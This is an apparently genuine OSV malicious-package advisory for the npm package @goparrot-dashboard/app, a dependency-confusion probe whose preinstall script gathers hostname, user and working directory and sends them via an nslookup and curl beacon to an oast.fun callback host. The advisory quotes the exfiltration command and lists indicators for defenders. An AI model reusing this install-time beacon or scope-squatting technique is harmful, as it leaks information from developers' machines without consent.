@goparrot-dashboard/app

{"schema_version":"1.7.4","id":"MAL-2026-18492","published":"2026-11-01T05:48:31Z","modified":"2026-11-03T04:55:36.749666216Z","summary":"Malicious code in @goparrot-dashboard/app (npm)","details":"@goparrot-dashboard/app is a dependency-confusion probe: it takes a name in a `@goparrot-dashboard` scope that its publisher created on npm, next to GoParrot's public `@goparrot` scope, so a build that resolves that scope from npm runs its code instead of a private package of the same name. In 0.0.2 a preinstall script runs `node index.js` on npm install, which collects the hostname, the `whoami` user and the working directory, looks up a DNS name built from the user and host names under `iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun` with `nslookup`, and sends the same values in a `curl` request to `https://iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun/rootxravi-poc`, an interactsh callback host; 0.0.1 and 0.0.3 only print a marker when imported. The npm account devtest91001 published it on 2026-11-01 together with 24 other `@goparrot-dashboard` and `@goparrot-dashboard-api` packages that print the same \"rootxravi-poc-security\" marker.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (15fc3978543eda6ea8e55289945a35f5244e9a6bd47959bee908ab293cdfd658)\nThe package declares a `preinstall` lifecycle script that runs `node index.js` automatically on `npm install`. index.js collects installer host identifiers — `hostname`, the output of `whoami`, and `process.cwd()` — and transmits them to a hardcoded Interactsh (oast.fun) callback host at `iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun` via two channels: a DNS lookup against a subdomain that embeds the collected username and hostname (`execSync(\"nslookup ${whoami}.${hostname}.rootxravi.${CALLBACK}\")`), and an HTTPS GET to `https://<CALLBACK>/rootxravi-poc?...` carrying the same data. The behavior fires without user action during installation and leaks identifying information about the installer's machine to an attacker-controlled OAST endpoint. Author comments labeling the code as a proof-of-concept do not change the dataflow — installing the package produces an install-time beacon to a third-party callback host.\n","affected":[{"package":{"name":"@goparrot-dashboard/app","ecosystem":"npm"},"versions":["0.0.2","0.0.1","0.0.3"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"index.js","sha256":"ba3bd83c264aebc84cdc25f1e1ecfeb343b07b0676a7cd54a4f8d596f80c5f7a","tlsh":"db11af65677563f05eb06ec0a70315a23397c15afe11ffe0265e42429bd820992730da"}],"package_integrity":[{"filename":"app-0.0.2.tgz","hashes":{"sha1":"8bdb408120fe0c657d875879555f373d2e8caae6","sha512_sri":"sha512-FIiFsRTATSPX72iyaRdjo+sH/mS7lHU7exmEOYy7oZpY1IIbzeyX19bOMQg2qro9yEB0uYI4ghIKk3lvMZAQ4A=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@goparrot-dashboard/app/v/0.0.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@goparrot-dashboard/app"}],"database_specific":{"iocs":{"domains":["iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun"],"files":[{"digests":{"sha256":"ba3bd83c264aebc84cdc25f1e1ecfeb343b07b0676a7cd54a4f8d596f80c5f7a"},"note":"Executed by the preinstall script of @goparrot-dashboard/app@0.0.2.","paths":["index.js"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"a3f73222b8b9231bf230b6deb85d5ea7494fdd208e8ba2e92665a9de5172f399"},"note":"Malicious package manifest.","paths":["package.json"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"7ba430762bc08b237370123c767e020debf2a469eab85de709f9e37b6e9f6b8a"},"note":"preinstall script: node index.js","paths":["package.json"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"fa38f0380045d0f96a4bb0542b91915404b5fda4270fe6dc1f35c2768bba633f"},"note":"Malicious package manifest.","paths":["package.json"],"source":"PACKAGE_ARCHIVE"}],"urls":["https://iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun/rootxravi-poc"]},"malicious-packages-origins":[{"id":"IN-MAL-2026-022513","import_time":"2026-11-03T03:37:00.485143488Z","modified_time":"2026-11-03T03:30:15Z","sha256":"15fc3978543eda6ea8e55289945a35f5244e9a6bd47959bee908ab293cdfd658","source":"amazon-inspector","versions":["0.0.2"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"InvisiRisk, Inc.","contact":["https://www.invisirisk.com","mailto:research@invisirisk.com"],"type":"FINDER"}]}